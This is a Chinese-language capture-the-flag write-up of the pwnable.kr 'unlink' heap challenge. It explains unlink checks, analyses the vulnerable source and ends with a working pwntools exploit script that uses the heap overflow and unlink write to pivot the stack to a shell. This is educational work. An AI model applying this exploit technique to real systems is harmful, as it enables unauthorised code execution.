预习知识

什么是unlinked

unlinked 是堆溢出中的一种常见形式,通过将双向列表中的空闲块拿出来与将要free的物理相邻的块进行合并。(将双向链表上的chunk卸载下来与物理chunk合并)

unlink漏洞条件

有3个以上的空闲chunk链表,其中最前面的chunk存在有堆溢出

unlink的触发

当使用free函数释放正在使用的chunk时,会相应地检查其相邻的chunk是否空闲。如果空间则将相邻的chunk与free的chunk进行合并。

unlink有两个安全检测机制,都是针对chunk的header部分。

  • prev_size:记录上一chunk的大小
  • size:记录当前chunk的大小
  • fd:在链表中指向下一个空闲chunk
  • bk:在链表中指向上一个空闲chunk

判断一

1
if(chunksize (p) != prev_size (next_chunk (p)))

此判断所代表的含义为检查将从链表中卸下的chunk其size是否被恶意的修改。记录当前size的地方有两处一个是为当前chunk的size字段和下一个chunk(物理地址上相邻的高地址的chunk)的prev_size字段如果这两个字段的值不等,则unlink会抛出异常。

判断二

1
if(__builtin_expect (fd->bk != p || bk->fd != p, 0))

这是检查当前chunk的前面一个chunk的bk、后面一个chunk的fd是否指向当前chunk,如果有其中之一不符合,则unlink会抛出异常。

unlink解链原理

2.jpg

FD=P->fd即当前空闲chunk所指向的下一个空闲chunk
BK=P->bk即当前空闲chunk所指向的上一个chunk
FD->bk=BK<=>P->fd->bk= P->bk
BK->fd=FD<=>P->bk->fd= P->fd

unlink引发漏洞原理

Dword shoot一种漏洞溢出技巧。漏洞是在双向链表chunk删除时,出现的一种漏洞类型。在进行双向链表的操作过程中,有溢出等的情况下,删除的chunk的fd、bk两个指针被恶意的改写的话,就会在链表删除的时候发生的漏洞。img

unlink 卸载chunk时,会对chunk 的fd、bk指针进行操作,就是因为这个操作我们可以利用堆溢出控制,进行unlink的chunk的fd、bk指针。

如果双向链表的2个指针被修改的话,一般由于修改数据,或者控制程序的跳转。shellcode无法放入这么小的空间中。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system(&quot;/bin/sh&quot;);
}

void unlink(OBJ* B){
OBJ* BK;
OBJ* FD;

BK=B-&gt;bk;FD=B-&gt;fd;

FD-&gt;bk=BK;BK-&gt;fd=FD;
//[B-&gt;bk]-&gt;fd被B-&gt;fd值覆写
//[B-&gt;fd]-&gt;bk被B-&gt;bk覆写
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A &lt;-&gt; B &lt;-&gt; C
A-&gt;fd = B;
B-&gt;bk = A;
B-&gt;fd = C;
C-&gt;bk = B;

printf(&quot;here is stack address leak: %p\n&quot;, &amp;A);
printf(&quot;here is heap address leak: %p\n&quot;, A);
printf(&quot;now that you have leaks, get shell!\n&quot;);
// heap overflow!
gets(A-&gt;buf);

// exploit this unlink!
unlink(B);
return 0;
}

概述一下程序运行思路:申请ABC三个大小为0x10的chunk;将ABC之间相互串联起来,形成一个空闲chunk链表(链接方式看下图)。接着答应出chunk A的栈地址、堆地址。之后从A buf后写入我们输入的数据,对B调用unlink函数,将B在链表上卸载下来。

思路

最明显的一点就是get(A->buf)存在堆溢出的情况。结合题目给予我们的提示:unlink。存在溢出和有unlink出现,我们就能构造出两个任意指向的指针(fd、bk)。

我们先来看看unlink函数:

1
2
3
4
5
6
7
8
9
10
11
void unlink(OBJ* B){
OBJ* BK;
OBJ* FD;

BK=B-&gt;bk;
FD=B-&gt;fd;
FD-&gt;bk=BK;
BK-&gt;fd=FD;
//[B-&gt;bk]-&gt;fd被B-&gt;fd值覆写
//[B-&gt;fd]-&gt;bk被B-&gt;bk覆写
}

我们先来解读一下unlink是怎么释放一个chunk的。我们就用下图中堆块解释:

我们先将四条转换方程式化简一下:

1
2
B->fd->bk = B->bk
B->bk->fd = B->fd

B->bk = 0x1030B->fd = 0x1010;都是存储着内存地址的变量。换句话说就是B->bk B->fd都是地址值。

B->fd->bk = *((B->fd)+bk) =*(0x1010+4)B->bk->fd = *((B->bk)+fd) = *(0x1030+0);可以看见现在变成了指针,而不是上面的地址值,而是一个指针。

那么最后的运算结果是:

1
2
*(0x1010+4) = 0x1030//0x1014(前一个chunk的bk)的值被覆盖为0x1010
*(0x1030+0) = 0x1010//0x1030(后一个chunk的fd)的值被覆盖为0x1010

unlink之后的chunk指针就如同最下行所示。

2.jpg

我们初定的利用思路是:利用unlink和堆溢出,创造出两个所我们所控制的任意指针,然后将程序控制流控制到shell上。将shellcode写到堆上,然后覆盖返回指针到堆上的方法不可行。因为程序开启了NX,堆栈上数据不能运行。而且程序中也有现成的shell。

img

做到这里就有点进行不下去,主要是不知覆盖那个函数的返回地址,来控制程序流。查看别人writeup,发现关键点在这里:

  • retn

    retn指令作用是栈顶字单元出栈,其赋值给EIP寄存器,只要能够修改ESP寄存器的内容修改为shellcode的地址就能执行shellcode。

  • lea esp,[ecx-4]

    lea指令将存储器操作数mem的4位16进制偏移地址送到指定的寄存器。eg:SI=1000H,执行指令 LEA BX , [SI] 后,BX=1000H。也就是说esp的值来自[ecx-4]指向的值 。

  • leave

    leave指令相当于mov esp ebp,pop ebp,对esp数据的来源无影响。

  • mov ecx,[ebp+var_4]相当于mov ecx,[ebp-4]

    ecx等于[ebp-4]指向的值,也就是我们需要将[ebp-4]指向的值修改为shellcode+4

还记得我们已经分析得到的条件:可以利用堆溢出和unlind创造出两个指针。(ebp的值在程序运行时值不变)

我们就将其中的一个任意指针修改为*(ebp-4),将ebp-4的值覆写为shellcode+4。

那我们先找出shellcode 和 ebp的内存地址:

  • IDA函数表中找到shellcode地址:

  • 程序会将chunk A的栈地址和堆地址,而栈地址是用ebp计算偏移得到的。IDA中查看chunk A栈地址的偏移算法:

    chunk A stack addr = ebp+var_14 = ebp - 0x14

从这里就可以推算出ebp - 0x4 相对于的chunk A 栈地址的相对位置,进而推算出实际内存地址。

shellcode的地址,我们需要找一个地址放置。方便我们构建的任意地址指针读取到ebp-0x4中。那么,我们就一齐写入到chunk A 堆中。


接下来就是看看构造指针的fd、bk需要填入什么数。unlink 的计算方程:

1
2
3
4
5
B-&gt;bk-&gt;fd = B-&gt;fd
B-&gt;fd-&gt;bk = B-&gt;bk

*(0x1030+0) = 0x1010//0x1030(后一个chunk的fd)的值被覆盖为0x1010
*(0x1010+4) = 0x1030//0x1014(前一个chunk的bk)的值被覆盖为0x1010

我们利用第一个指针进行写入,也就是:*(bk+0)=fd。换而言之就是*(ebp-4)=shellcode-4

得出我们需要填入的是fd = chunk A堆地址+12;bk = chunk A栈地址 + 0x10

初始情况下的chunk A :

data A on heap:

——————————— <=A

| FD | BK |

——————————— <=A->buf , A+0x8

| put shellcode here |

| length of buf is 0x8 |

———————————

| presizeB | sizeB |

——————————— <=B , A+0x8+0x8+0x8

| FD | BK |

——————————— <=B->buf

| |

———————————

好,我们现在构造payload:

1
2
# &#039;a&#039;用作填充chunk A剩余空间到达chunk B堆顶;
payload = p32(shell_addr)+&#039;a&#039;*12+p32(heap_addr + 12)+p32(stack_addr + 0x10)

溢出覆写之后的chunk A:

data A on heap:

——————————— <=A

| FD | BK |

——————————— <=A->buf , A+0x8

| shellcode (4 byte) |

| AAAA (4 byte junk) |

———————————

| AAAA | AAAA |

——————————— <=B , A+0x8+0x8+0x8

|A heap +12|A stack+0x10|

——————————— <=B->buf

| |

———————————

接下来调用unlink及其后面指令的原理简单记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//unlink之后得到的两条方程
*((A stack+0x10)+ 0)= A heap +12
*((A heap +12) + 4)= A stack+0x10

//指针一化简得到
*(ebp-0x14+0x10+0)=shellcode + 0x4
//ebp-0x4指向的值被覆写为shellcode + 0x4

//ebp-0x4指向的值shellcode+4被传入ecx
mov ecx,[ebp+var_4]

//ecx-4指向的shellcode开始行被传入到esp中(shellcode+4-4)
lea esp,[ecx-4]

//退出main,但是eip被修改为shellcode开始运行行,变成了运行shellcode
retn

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf-8
from pwn import *
context.log_level = &#039;debug&#039;
shell_addr = 0x080484eb#IDA函数列表可查得

# 与服务器建立ssh链接
s = ssh(host=&#039;pwnable.kr&#039;,
port=2222,
user=&#039;unlink&#039;,
password=&#039;guest&#039;
)
p = s.process(&quot;./unlink&quot;) # 加载程序
# 获取 A 栈地址
p.recvuntil(&quot;here is stack address leak: &quot;)
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
# 获取 A 堆地址
p.recvuntil(&quot;here is heap address leak: &quot;)
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)

payload = p32(shell_addr)+&#039;a&#039;*12+p32(heap_addr + 12)+p32(stack_addr +16)

p.send(payload)
p.interactive()

参考

全面剖析Pwnable.kr unlink

pwnable.kr unlink

pwnable.kr之unlink

pwnable.kr unlink之write up

【pwnable.kr】 unlink